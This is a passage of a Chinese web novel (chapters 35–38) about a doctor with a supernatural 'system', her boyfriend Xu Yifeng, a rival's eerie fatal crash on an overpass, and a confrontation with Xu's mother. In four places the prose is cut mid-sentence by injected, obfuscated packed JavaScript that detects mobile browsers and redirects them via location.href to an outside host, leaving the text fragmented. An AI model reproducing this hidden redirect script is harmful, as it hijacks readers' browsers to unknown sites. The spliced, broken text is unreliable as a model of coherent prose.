说到这儿,他眯起眼睛,嘴角高咧,露出不怀好意的笑容,“有句话我挺喜欢的,明天和意外,谁都不知道哪个会先来。” 此言一出,徐逸风脑中那根名为“理智”的弦,啪的一下,断了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442451|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他双目猩红,改揪为掐,狠狠扼住赵端灏的咽喉。 猝不及防之下,赵端灏根本来不及闪躲,剧烈的疼痛和强烈的窒息感骤然来袭,他连惨叫都发不出来。 他果断抓住徐逸风的手腕,奋力往外掰,然而徐逸风常年健身,力气比他大多了,两只手跟铁钳似的,他竭尽全力也掰不动! 要不是曲江吟见势不妙,及时拉住徐逸风,他差点儿踏上激情杀/人的不归路。 赵端灏弓着腰,捂着脖子,咳得撕心裂肺。 他万万没想到,徐逸风竟敢对他下死手! 这还是他那个谨小慎微、连虫子都怕的怂蛋表弟吗? 等喉咙没那么难受了,他心有余悸地扫了徐逸风一眼,始终无法相信这货会因为一个女人失了智。 濒临死亡的感觉磨灭了找茬的心思,他捂住被掐得生疼的脖子,心不甘情不愿地转身离开。 自从遇到赵端灏,系统专门搜集了许多有关古代刑罚的资料,没事儿就琢磨该用哪种酷刑让赵端灏后悔来到这个世上。 若非曲江吟不许它乱来,它早把他挫骨扬灰了! “宿主,赵端灏就是个祸害!我敢肯定,盼着他消失的人,一抓一大把,弄死他等于为民除害,这可是天大的好事啊!” “你高看我了,我没那么高尚,从不替陌生人着想。” “可他暗中调查了你的信息,铁定会搞事,除掉他永绝后患不好吗?” “没事儿,我相信你,有你在,他伤不到我,除非他也绑定了系统。” “这你放心,干我们这一行的,眼光一个比一个高,怎么可能瞧得上他那种low穿地心的人渣?” 系统准备了一箩筐劝告的话语,却被她三言两语堵了回去。 “好了好了,不跟你唠了,逸风气得眼都红了,我得好好哄哄他。” 不过,她还没来得及开口,徐逸风就忧心忡忡地看着她说道:“据我所知,赵端灏经常出入一些鱼龙混杂的场所,认识不少涉/黑的人员,我怕他会对你不利。” 为了让他宽心,曲江吟故意不以为意地说:“放心,如今可是法治社会,到处都是摄像头,黑老大都得夹起尾巴做人,更别提那些地痞流氓了。只要我不去犄角旮旯转悠,他们想下手也没机会。” 见她完全没把赵端灏的威胁当回事儿,徐逸风不仅没有把心放回肚子里,反而更担心了。 他牵过她的手,定定地望着她的眼睛,“以后我接你上下班吧?他的手再长,也伸不到我这儿来。” 车接车送,听起来不错,但她不能只顾自己方便。 况且,她家离医院不过十分钟的车程,徐逸风住的比较远,接她上班会遭遇早高峰,接她下班会遭遇晚高峰。 早高峰,晚高峰,堵在路上都得疯。 于是她摇了摇头,婉言相拒:“我不想耽误你的时间。” 徐逸风将她揽入怀中,“没关系,我巴不得时时刻刻都跟你在一起。” “哦?就算天天堵在路上也没关系吗?” 35. 035 她不说,徐逸风差点儿忘了早、晚高峰这回事。回想起堵车的“销魂”滋味儿,他不禁陷入了沉默。 舍不得女友受苦,只能想办法避开了。 于是他故作轻松地回应道:“我可以早点儿出发。” “那不更耽误工夫了吗?”曲江吟眉头轻蹙,满脸不赞同。 “可……”他还想继续劝一劝,曲江吟却竖起食指挡在他嘴巴前面,没头没尾地问了一句:“你舍得让我伤心吗?” 听到这个出人意料的问题,徐逸风整个人都懵了,她怎么突然问起这个了?难不成自己无意中伤了她的心? 然而,没等他的脑子想出个所以然,他的嘴就信誓旦旦地保证道:“我绝对不会让你伤心!” 曲江吟微微一笑,再次突兀地换了话题:“你前段时间没休息好,对吧?” 说话的时候,她的表情格外笃定,澄澈的眼眸仿佛两面镜子,将徐逸风每一个细微的神情都照得一清二楚。 他下意识反问道:“你怎么知道?” 话说出口,他才意识到不妥,这么问和承认自己确实没休息好有什么区别? 曲江吟挑了挑眉,半开玩笑半认真地说:“疲惫这玩意儿可没那么容易遮掩,它总是趁你不备,偷偷溜出来跟我sayhi。” 徐逸风本以为自己掩饰得很好,没想到早被她看出来了。 那些古怪的噩梦真是害人不浅! 他既不想撒谎,又不想说真话,一想到江吟没准儿会问他为啥没休息好,他就愁得不行。 还好江吟没有多问,反而捧着他的脸,轻声细语地埋怨道:“你看你,平常就够忙了,忙得都顾不上休息,要是再把接送我的活儿揽在身上,岂不是忙上加忙?你的身体又不是铁打的,万一累病了怎么办?口口声声说着不让我伤心,却一点儿也不懂得照顾自己,你要是病了,我怎么可能不伤心?” 她说这么多,无非是想表达“我舍不得你奔波劳累”,但直抒胸臆未必适合所有情形,有时候别别扭扭地表达自己的情感,反而更容易打动对方。 看着徐逸风陡然绽放的笑颜,她默默给自己点了个赞,看来这种老掉牙的套路还是挺好用的。 一番话下来,徐逸风的心仿佛缀满了板结的糖块,他生平第一次感受到了甜蜜的份量,沉甸甸的。 “我只是担心你……” “我知道,你怕我受到伤害,我舍不得你奔波劳累,”曲江吟把两只手都伸到他脖子后面,整个人像是挂在他脖子上一样,而后意有所指地问道:“你觉得咱俩属于什么情况?” 可惜徐逸风不够机灵,没能get到她的意思,呆呆地回应道:“互相关心?” 曲江吟把头埋在他的胸膛,轻笑一声,“笨蛋,是双向奔赴的爱情呀~” 徐逸风明明没喝酒,却断了片儿,等他回过神来,她们已经吻得难舍难分,他记不清是谁先主动的,也搞不懂这个吻是什么时候开始的,只有一个模模糊糊的念头——江吟的嘴好甜,比蜜还甜,怎么亲也亲不够…… 过了好一会儿,她俩才分开。 “既然你舍不得我奔波劳累,我让司机接你吧?” “算了吧,从我家开车去医院,只需十分钟,骑电动车也只需十几分钟,接送神马的,真的没那个必要。” 她不肯接受,他也没办法强求,只能妥协…… 憋了一肚子火的赵端灏,骂骂咧咧地离开酒店,打算去他经常光顾的会所好好发泄一番。 心烦意乱之下,他满脸煞气,脚步匆匆,根本没有注意到有个推着手推车的侍应生,从他身旁经过时,露出了奇怪的神情。 侍应生之所以面露异色,是因为他无意间看到赵端灏的影子居然像被风吹皱的湖面一样,荡起层层波纹。 可当他停下脚步,瞪大双眼,仔细瞅着赵端灏的影子时,异象又消失了。 他愣了一会儿,没敢细想,把刚才的一切归结为自己眼花看错了,便不再管它,然后推着推车,径直朝大厅走去。 那家非会员不得入内的会所建在城郊,位置偏僻,开车去那儿少说也得一个多小时。 出了市区,路上行驶的车辆明显少了许多,赵端灏开着火红的跑车,飞驰在高架桥上。 他目不斜视地盯着前方的道路,冷不丁发现桥边杵着一排黑影。 虽然离得比较远,他看得不是很清楚,但从轮廓上看,那似乎是一排站得整整齐齐的人。 可大晚上的,谁会在高架桥边缘站岗啊?所以他觉得那多半不是人。 至于那到底是啥,待会儿离得近了不就能看清楚了吗? 然而,不过一转眼的工夫,那些黑影统统不见了! 他脊背一凉,心跳猛然变快。 幻觉? 不应该啊!他记得很清楚,自己只喝了两杯香槟,以他的酒量,区区两杯香槟,根本不可能喝醉,更别提醉得产生幻觉了。 八成是看错了。 他正准备把这事儿抛之脑后,前方的视野里却再次出现一排整齐的黑影! 和之前的黑影一样,这次的黑影同样出现在桥边,同样像是一个个站得笔挺的人。 他刚落回原位的心又悬了起来。 伙同恐惧一起袭上心头的,还有难以言喻的愤怒。 他不管那些黑影是不是人,也不管它们有没有妈,当下就张嘴表达了想和它们母亲负距离接触的强烈意愿。 此外,满腔怒火无处发泄的他,还铁了心要弄清楚究竟是什么玩意儿在装神弄鬼。 然而,没等他看清黑影的真面目,桥边的黑影又不见了。 与上次不同的是,这次黑影不是一起消失的,而是在他眼皮子底下一个接一个地消失的! 亲眼目睹这诡异的一幕,他头皮都麻了,刺骨的寒意汇聚成凛冽的寒风,狠狠给了他一个大嘴巴子,扇灭了心头的怒火,也扇飞了脑中胆大包天的想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448118|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 应该是……看错了吧? 大脑又一次试图用“看错”二字麻痹他,手却不听使唤,不住地往外冒汗。 感受到掌心的湿润,他自嘲地扯了扯嘴角,没想到自己竟然这么怂。 可是很快他就笑不出来了,因为黑影又出现了。 还是在桥边,还是齐刷刷的一排,还是像极了站岗的人…… 他的脸唰的一下就白了,眼前的景象过于诡异,完全超出了他的理解能力。 望着静静伫立在桥边的黑影,他如坠冰窟,无论如何都没办法再用“看错”来说服自己一切正常了。 他的视力很好,人又没醉,怎么可能一而再再而三地看错?撞邪的可能性都比看错高! 想到这里,他不由得打了个激灵。 他喜欢追求刺激不假,但这种玄乎邪门儿令人不适的刺激,他的小心脏可承受不了。 怕归怕,他嘴上的脏话就没停过,毕竟,对他来说,骂脏话是最简单、也最有效的情绪输出方式,即使面对不知是人是鬼的东西,他也骂得出口,别人是酒壮怂人胆,他是骂壮怂人胆。 不知为何,这回的黑影迟迟没有消失。 瞧着越来越近的黑影,他不得不主动消音,那股骂遍天下无敌手的气势也没了,整个人怂得跟个鹌鹑似的。 随着距离的拉进,他终于看清楚黑影是啥了。 居然是服装店里的塑料假人! 这玩意儿怎么会出现在高架桥上?他百思不得其解。 不过,现在不是纠结这个的时候,当务之急是赶紧离开,这破地方,他是一秒也待不下去了! 他轻踩油门,加快速度,将塑料假人甩在身后。 开着开着,他突然察觉到一丝不对劲,迅速低头瞅了瞅腕表上的时间。 从上高架算起,他至少开了十几分钟,按理说早该下去了,他却始终望不到桥的尽头。 该不会是遇到鬼打墙了吧? 这个念头甫一出现,便在他心里掀起惊涛骇浪。 更恐怖的是,不知何时,别的车都不见了。 之前他的注意力全被神出鬼没的假人吸引了,压根儿没有留心周围的车,它们是什么时候消失的?怎么消失的?他一概不知。 明明才五月份,他却提前感受到了隆冬时节的寒意,冷得他浑身都在打颤。 他不敢立即停车,万一他看到的一切都是假的,别的车并没有消失,他直接停在马路中间,无异于找死。 情急之下,他只想到一个办法——打开双闪,慢慢减速。 他一点一点把车速降下来,然而,哪怕车速已经降到会严重影响交通的程度,周遭依旧风平浪静。 看来桥上的确只有他和他的车。 意识到这一点后,他脸色煞白,额头布满虚汗。 要不要停车,再下去观察一下情况? 没等他做出决定,假人又双叒叕一次出现了! 36. 036 他暗骂一声晦气,离他最近的假人忽然动了! 它倾身向前,不断地挥舞着高举的手臂,摆明了想要拦车! 紧接着,第二个假人也动了,它同样探出身子,挥动手臂,做出拦车的动作。 第三个,第四个…… 赵端灏的眼珠子都快瞪出来了,他立马猛踩油门,打算远离这些可怖的假人。 然而,他刚把车速提上来,所有假人突然不约而同地停止挥手,在他惊恐万分的目光中,陆续消失,又陆续闪现在马路上,形成一堵人墙,挡在车前。 变故发生得太快,他根本来不及踩刹车,直接撞了上去。 撞击的瞬间,他先是两眼一花,看到假人变成了粗壮的水泥柱子,又两眼一黑,彻底失去了意识…… 第二天晚上,曲江吟从徐逸风那里听说了赵端灏因车祸而丧生的事。 挂断电话之后,她把手机放到桌上,双手抱臂,第一时间对系统展开盘问。 “说,是不是你干的?” 这么大一口黑锅,系统可不愿意背,急切地辩驳道:“冤枉啊,宿主!你不是不让我弄死他吗?我这么听话,你让我往东,我绝不往西!怎么可能背着你对他下死手呢?” 这事儿实在是太蹊跷了,再加上系统完全有能力让赵端灏出意外,曲江吟难免会怀疑它。 “不是我不相信你,”她耸了耸肩,一脸无奈,“主要是你背着我偷摸搞事,我也拦不住你呀!况且,你又是个不安分呃……眼里容不得沙子的系统,难保不会为了保护我搞阳奉阴违那一套。” 系统气呼呼地反驳道:“我才不会阳奉阴违呢!我可乖了,比徐逸风还要乖,宿主,你可以怀疑我的能力,但不能怀疑我的忠心!赵端灏就是个普通人,顶多有点儿钞能力,有我在,他休想伤到你一根汗毛!我哪儿犯得着对他下黑手呀?” “不是你干的……难不成他真的遭天谴了?”曲江吟蹙着眉,用手指把玩着头发。 “谁知道呢?他狂成那样,指不定害了多少人呢,他遭天谴,纯属活该!” …… 过了几天,曲江吟下班后,在去停车场的路上遇到了柳琢玉。 为了见她一面早已等候多时的柳琢玉率先发现了她,立刻欢呼雀跃地跑到她身前。 他的表现很难不让曲江吟联想到一只见到主人立马化身嘤嘤怪飞奔而来的大型犬。 此时,他和大型犬唯一的区别就是——他更有分寸,不会罔顾她的意愿把她抱个满怀。 “江吟!好久不见。” 尽管他并没有做出任何出格的举动,沐浴在他炙热目光中的曲江吟,仍旧有些不自在。她一边调整肩头的包带,一边冷淡地开口:“说吧,你找我有什么事?” 柳琢玉确实有事要说,但依江吟的性子,等他说完正事,她绝对会干脆利落地走人,他想留也留不住。 为了多跟她待一会儿,柳琢玉故意岔开话题:“你没觉得我有什么变化吗?” 曲江吟看着他脸上的黑框眼镜,不假思索地说:“你近视了?不好意思,我不是眼科医生,看不了近视。” “我没近视,”他摇了摇头,抬手扶着眼镜腿,“这是平光镜,没有度数,玮峘说我戴眼镜会显得成熟一点儿。” 曲江吟将他从头到脚扫了一遍,又方又大的黑框眼镜、蓝黑相间的格子衬衫、簇新的纯白T恤、宽松的深灰色牛仔裤、百搭的白色板鞋。 他俩是不是对成熟有什么误解? 她眯着眼睛反问道:“你这身穿搭……该不会是他的主意吧?” “对呀,怎么了?不适合我么?” 柳琢玉对穿搭一窍不通,舒服是他对衣服的唯一要求,张玮峘说他穿的太随便了,怎么可能比得过精心捯饬的徐逸风? 他觉得对方的话很有道理,火速购入一大堆风格各异的衣服配饰,开始尝试此前从未试过的穿搭风格。 适不适合,曲江吟也说不出来,毕竟他这种老天奶赏饭吃的大帅哥,不管穿啥都是一道靓丽的风景线,即便穿着格子衫,也不会让人联想到眼神日渐呆滞、头发日渐稀疏、满身班味儿、一脸麻木的程序员。 于是她敷衍地回了一句:“没有,你穿啥都好看。” 听到她毫无感情的夸赞,柳琢玉却心花怒放,没办法,谁让他早早把心拴在她身上了呢?这就导致她随便一个眼神、一句话都能轻易牵动他的心。 同时绽放的,还有他那晚霞看了自愧弗如、晚风看了为之驻足的笑容。 落日的余晖仿佛一只执笔的手,轻柔地描摹出他的轮廓,为他镀上一层朦胧的光晕。 喜上眉梢的他,当即眨巴着亮晶晶的眼睛承诺道:“无论你喜欢什么风格,我都愿意穿给你看。” 身为一名资深颜狗,曲江吟好不容易从他的美貌暴击当中缓过神来,又猝不及防地听到了他甘当“暖暖”的发言,说不心动肯定是假的,不过,她可不是会在感情上三心二意的人! “不用了,换装游戏也好,别的游戏也罢,我只想和逸风玩儿。你还有别的事吗?没有的话,我先回去了。” 说罢,她斜跨一步,准备绕过挡路的柳琢玉。 见状,柳琢玉急了,下意识张开双臂,挡在她身前,高喊:“等等!我有件非常重要的事想告诉你。” 曲江吟脚步一顿,仰起脖子,狐疑地看着他,“什么事?” 柳琢玉定了定神,压低声音说:“你觉得你了解徐逸风吗?” 曲江吟:??? 挑拨离间是吧?省省吧,她可不吃这套。 “你这话说的,我是他女朋友,当然了解他啦!” “是吗?那你知道他爸是谁吗?” 没想到柳琢玉一下就把她问住了,她还真不清楚徐逸风他爸是谁,他从来没说过,她也没问过。 她没说话,眉头轻皱,凝视着柳琢玉的眼睛,一副静候下文的模样。 柳琢玉没有直接解释,转而问了一个看似风马牛不相及的问题:“你听说过芯里美食品有限公司吗?” 他既然这么问了,徐逸风他爸肯定和芯里美这个臭名昭著的公司脱不了干系。 想到这里,曲江吟的脸色顿时变得无比复杂。 “我不仅听说过,还亲身经历过当年那场舆论风暴,如今,除了年纪小的,谁不知道偷偷把工业染色剂当食品染色剂使用、残害大众健康、引发食品行业地震、被无数人唾骂的心里黑公司?” 闻言,柳琢玉不再兜圈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452527|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把自己查到的事情一股脑地讲了出来:“徐逸风他爸叫徐铎,是芯里美公司的董事长,害了那么多人,最终只判了二十几年的有期徒刑,再过七八年就能出狱。” 说话时,他一直目不转睛地盯着江吟的脸,她果不其然露出了怀疑人生的表情。 这事儿太容易求证了,柳琢玉绝对不敢信口雌黄。 她怎么也没想到,徐逸风竟然是芯里美董事长的儿子! 芯里美的名声有多臭呢? 臭到“你是不是吃芯里美长大的”成了一句广为流传的、骂人脑/残的脏话。 还没等她消化完这个重磅消息,柳琢玉又爆了个猛料:“徐逸风他妈也不简单,她叫赵淑卉,背景极其深厚,不但有钱,还有权,要不是有她在背后保驾护航,徐逸风怎么可能在波谲云诡的金融圈里混得如鱼得水?” 夕阳逐渐西沉,夜幕缓缓展开,风就像望见终点线的运动员一样,陡然加速,吹乱了曲江吟柔顺的长发,却吹不走她乱糟糟的思绪,她很难找到一个确切的词语来形容自己此刻的心情。 她收回目光,咬了咬下嘴唇又松开,微垂的眼睑遮不住斟满迷茫的眼睛,反而让迷茫溢出眼眶,淌得满脸都是。 殊不知她这副模样,落在柳琢玉眼里,美得像电影画面一样。 乌黑凌乱的发丝犹如一层黑纱,轻盈地铺在白皙光洁的皮肤上,时不时扫过绯红莹润的唇瓣。 他情不自禁地抬起手臂,想拨开飞舞的长发,轻抚她柔嫩的脸庞,却被她侧首避开。 曲江吟心里简直乱成了一锅粥,完全没心思计较他逾矩的行为,留下一句“我要回去了”,再次试图绕开他前往停车场。 “诶~等等!先别走,我还没说完呢。” 她现在烦得要命,被他这么一挡,更烦了,没忍住瞪了他一眼,“你还想说啥?” 见她面色不虞,柳琢玉满脸惶恐,生怕她对自己本就不多的好感被彻底磨灭,急忙补充道:“芯里美不但没有倒闭,还活得好好的,仅仅改了个名字,如今叫悦享客,董事长是赵砺,他是徐逸风的舅舅。在他的带领下,悦享客旗下的产品隔几年就会因为食品安全问题登上热搜,由此可见,徐逸风他舅也不是什么好人。” 曲江吟用脚趾头想也知道他目的不纯,念在他透露这么多消息给她的份上,她本来没打算计较,可他非要挡道,她又不是什么好脾气的人,当即冷笑一声,质问道:“你跟我说这些,目的是啥?别告诉我,你只是出于好心。” 柳琢玉缩了缩脖子,弱弱地回应道:“徐逸风他……他的家世一点儿也不清白,都说近朱者赤近墨者黑,别看他表面上人模人样的,背地里指不定啥样呢。” “少拿你那些不靠谱的臆测来糊弄我,我比你更清楚他是什么样的人!他很好,温柔又体贴,我非常庆幸自己能跟他相知相爱!” 柳琢玉的唇角瞬间耷拉下来,满脸写着不服,“反正我觉得他配不上你。” 他的言外之意再明显不过了。 曲江吟无语极了,说他怂吧,他看她眼神满满的都是觊觎,说他勇吧,她说句重话就能吓得他诚惶诚恐。 她扬手把凌乱的发丝撩到耳后,皮笑肉不笑地说:“他不配,你配,是吗?” 37. 037 “是!我家世清白,我爸我妈都是正经的生意人,我比他高,比他帅,还比他年轻,花期比他长多了……”柳琢玉激动地推销着自己,比路边的商贩还要卖力。 “打住!”曲江吟竖起手掌,打断了他自吹自擂的发言,“你有没有想过,如果今天我能为了你抛弃逸风,明天我就能为了别人抛弃你?” “不会的!我会竭尽全力独占你的心,让你舍不得抛弃我。” 本该粘糊腻歪的情话愣是被他说出了“大义凛然”的气势。 迎着他势在必得的眼神,曲江吟脑子里只有一个念头——这人是属驴的吗?咋这么倔呢? “得了吧,自信是好事,自负可不是。” 柳琢玉本想说他并不自负,却灵机一动想出一个更好答复,于是噙着狡黠的笑容回应道:“我到底是自信还是自负,你试试不就知道了。” 曲江吟默默地叹了口气,她是真的不想跟他掰扯了,刚刚是心烦,现在是心累。 她稍加思索,仰头直勾勾地看着他,拿出自己娴熟的扣帽子技术,问了一个极其刁钻的问题:“在你眼里,我就是个见异思迁的人吗?” 柳琢玉:??? “不不不不!我从来没这么想过!!!” “呵~要不是觉得我有见异思迁的可能,你怎么会大费周章地追我?” “不是……我……你别……” 柳琢玉CPU都干冒烟儿了才明白过来,面对这样的“夺命连环问”,一味地自证只会落入下风。 可是,不自证,他又该说些什么呢?总不能默不作声吧? 心爱之人就在眼前,他却讷讷不能言,多可悲啊…… 想到这里,他不再纠结,不闪不避地回望着她的双眼,朗声说道:“我追你当然是因为我喜欢你,想和你在一起!” 曲江吟的耐心彻底耗尽,“我已经和我喜欢的人在一起了,你没机会了!我现在很烦,不想搭理你,让开!” 说罢,她抬手把柳琢玉扒拉到一边,头也不回地离开此地。 看着孤零零站在原地、整个人都快变成望妻石的柳琢玉,一向铁石心肠的系统难得动了恻隐之心。 “宿主,好不容易遇到一个肯为你用心的帅哥,你就给他个名分吧。” “你从哪儿看出来他用心了?我只看出来他心眼儿挺多的。” “为了尽早上位,他不辞劳苦,把徐逸风查了个底朝天,这还不算用心吗?” 曲江吟在心里翻了个大大的白眼。 “不懂就别BB,别有用心和用心是两回事好嘛!再说,你咋看出他劳苦了?我看他精神得很。” 见她丝毫没有松口的意思,系统不再自讨没趣,干脆换了个话题:“想不到徐逸风还是朵出淤泥而不染的白莲。” “你是在夸他,还是在损他?” “当然是在夸他啦!人们不是常说龙生龙、凤生凤、老鼠的儿子会打洞么?出生在那样的家庭,他居然没长歪,好难得啊!” 徐铎确实不是什么好东西,这一点毋庸置疑,赵淑卉的人品是好是坏,却不好下定论。 柳琢玉只讲了她背景很深、为儿子铺平道路的事,没提她人品如何,也没说她干过什么见不得人的勾当。但他前脚批判徐铎判得太轻,后脚就提了一嘴赵淑卉的背景很深,很难不让人怀疑二者之间是否有联系。 此外,为了加深曲江吟对赵家的负面印象,他还把赵砺干的坏事告诉了她。 不过,这些只是他的一面之词,就冲他恨不得把徐逸风家里的黑料全部抖出来的态度,如果赵淑卉真犯了什么事,他不可能只字不提,她究竟是好是坏,曲江吟暂时无法判断。 她沉思片刻,对系统说:“他没长歪,没准儿是因为他妈育儿有方呢。” “可……按照柳琢玉的说法,徐逸风他妈可不像是好人呐。” “他只说了她背景深,没说她人品差吧?” 曲江吟刚走到车子旁边,正准备拉开车门,就听到系统用特别正经的语气问了个无厘头的问题:“宿主,她那么有钱,要是她掏出五百万的支票,让你离开她儿子怎么办?” “哈?瞎说啥呢?小说看多了吧你!” “没有啊,我这不是担心她用金钱玷/污你美好的爱情嘛!” 曲江吟满心无语,不明白自己为何会摊上这么个满脑子drama剧情的傻嘚儿系统。 她不回话也不要紧,系统自顾自地总结道:“算了,管她是好是坏呢,只要她不跳出来阻止你和徐逸风交往,咱们就当她不存在好了。” 然而,此时的她们怎么也想不到,再过不久曲江吟就会和赵淑卉见面。 端午前夕,赵淑卉不知从哪儿弄到了曲江吟的联系方式,给她打了一通电话,约她出来见一面。 她犹豫再三,最终在好奇心的驱使下点头答应。 两天后,她揣着不解与好奇,根据导航的指引,驱车来到一座依山傍水环境清幽的茶楼。 难得碰到风景如此优美的地方,她本想好好欣赏一番,却被聒噪的系统败了兴致。 赵淑卉来的比曲江吟晚一点。 她迈着从容的步伐踏入包厢,走到桌旁,一边说着“抱歉,我来晚了”的客套话,一边缓缓落座。 岁月似乎格外厚待她,不仅没在她脸上留下多少痕迹,还为她平添了几分别样的魅力。 绛紫色的旗袍在阳光下泛着如珍珠般莹润的光泽,绿得扎眼的玻璃种帝王绿翡翠项链却把这条低调又不失华贵的旗袍衬得像块儿不起眼的垫布。 然而,再奢华的珠宝,一旦戴在她身上,都会沦为陪衬,因为她有一张美得令人心悸的脸。 她走进来的时候,曲江吟被狠狠惊艳了一把,不由得睁大了双眼。 若不是知道她已经年过半百,曲江吟绝对会以为她最多三十来岁,颠倒众生这个词用在她身上再合适不过了。 比美貌更惹人瞩目的是她的气场,那是一种不需要慢动作渲染,也无需BGM烘托就能让人瞬间联想到“大佬登场”的强大气场。 不知是不是错觉,曲江吟总觉得她无波无澜的眼里似乎藏着目空一切的傲慢。 赵淑卉面带微笑,看向曲江吟的目光充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461470|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥着审视的意味,坐下来以后,说的第一句话就是:“曲小姐,你好,我是徐逸风的妈妈,姓赵,你可以叫我赵阿姨。” “赵阿姨好,”曲江吟不喜欢和别人兜圈子,简单打了个招呼便开门见山地问道:“您约我出来有什么事?” 赵淑卉轻笑一声,伸手捏住茶壶的壶把,给自己倒了一杯热茶,“你这种直来直去的性格还蛮对我胃口的。” 说着,她又倾身把曲江吟面前半满的茶杯续满,貌似在用实际行动来证明自己所言非虚。 这时,曲江吟才注意到赵淑卉手腕上戴着一只完全不透明的白色手镯,看材质不像玉镯,倒是跟她在鉴宝直播间里见过的象牙镯子很像。 不过,对她来说,赵淑卉戴哪种材质的手镯并不重要,对方约她碰面的目的才是她最关心的事。 “谢谢。”道完谢,她没再说话,用眼神传递着“你继续说,我听着呢”的信息。 见曲江吟既没有因为自己帮她续茶而受宠若惊,也没有因为自己口头上的认可而沾沾自喜,赵淑卉心底的轻视顿时消散大半,看来她是个配得感很高的人。 赵淑卉不喜欢配得感低的人,因为这些人往往自卑又怯懦,难堪大任,难成大器。 “我约你出来没别的意思,纯粹是出于好奇,因为我想象不出来,什么人能让我那个年近三十还死活不开窍的儿子动心。” 她没有把话说完,再说下去就该说出她对曲江吟的评价了。 赵淑卉本以为自己身为逸风的母亲,她俩又是初次见面,曲江吟肯定会好奇自己对她的初印象如何,就等她主动来问了,不料她只是笑了笑,客套又不失认真地回复道:“说实话,我也很好奇什么样的母亲才能培养出逸风这么优秀的人。” 看样子,曲江吟并不在意他人的看法。 赵淑卉有点儿意外,她调查过曲江吟的家庭背景,知道对方有个重男轻女的妈、懦弱无能的爸和仿若水蛭成精的哥。 按理说,一出生便深陷泥潭的女孩,即便身体摆脱了桎梏,灵魂也会被那些苦不堪言的岁月烙上终生难愈的伤痕,这样的女孩,大多敏感缺爱,害怕别人投来异样的眼光,很少有人能像曲江吟一样,豁达到完全不在乎别人的看法。 “逸风确实优秀,就是性子比较独,跟家里人都不怎么亲近,我原以为他会孤单一辈子,没想到他也有坠入爱河的一天。” 系统忍不住轻嗤一声,吐槽道:“幸亏他不亲近那些烂人,否则早被带歪了。” 曲江吟无视系统的废话,凝视着赵淑卉的眼睛,真心实意地说道:“他那么好,老天怎么舍得亏待他?他感受到的亲情有缺憾,我只在姥姥身上感受过亲情的美好,我俩凑到一起,却收获了圆满的爱情,这就是命定的缘分。” 赵淑卉的神情丝毫没有变化,曲江吟完全看不透她是怎么想的。 她端起茶杯,吹了吹,抿了一小口,又放下茶杯。 “他很好,你也很好,就是挑男人的眼光忽高忽低的,上限是我儿子,下限是你那个放着安稳日子不过、偏要去非洲闯荡、最后把命搭在那儿的前夫。” 38. 038 说实在的,曲江吟毫不意外赵淑卉会说出这种话来,毕竟来之前她和系统就一致认为对方大概率没憋好屁。 她没感到意外,却不代表着她不会反击。 “啊对对对,我眼光不行,不像您,眼光毒辣,找的老公都吃上公家饭了。” 一般人面对如此辛辣的嘲讽,早破防了,赵淑卉却没什么反应,脸色无比平静,像是根本没听见曲江吟说了什么似的。 “他自作自受,我落得清静,这样的结果,我很满意。” 看着她静若幽潭的眼睛,听着她毫无起伏的声音,曲江吟心头猛然窜起一股火焰,逼得理智退避三舍,烧得镇定荡然无存。 “哼!罪过他担了,清静你享了,全国各地数以万计的受害者呢?运气差一点的,命都没了!运气好一点的,落下一身病,大好人生毁于一旦!我就不明白了,你一个既得利益者,哪来的资格谈满不满意?” 曲江吟任由讥讽调动自己脸部的肌肉,“区区二十来年的有期徒刑,受害者不满意,绝大多数老百姓都不满意,要我说,他就该牢底坐穿!” 要不是看在他是徐逸风父亲的份儿上,她才不会用“牢底坐穿”这么委婉的说法呢,肯定会直言不讳地说出让他以死谢罪的话来! 义愤填膺的话语犹如一阵微风,穿过赵淑卉的耳道,涌进她的大脑,尚未掀起波澜,便消弭于无形。 面对就差指着她鼻子骂的曲江吟,她仍旧面不改色,冷漠得像个不会被情绪支配的机器人。 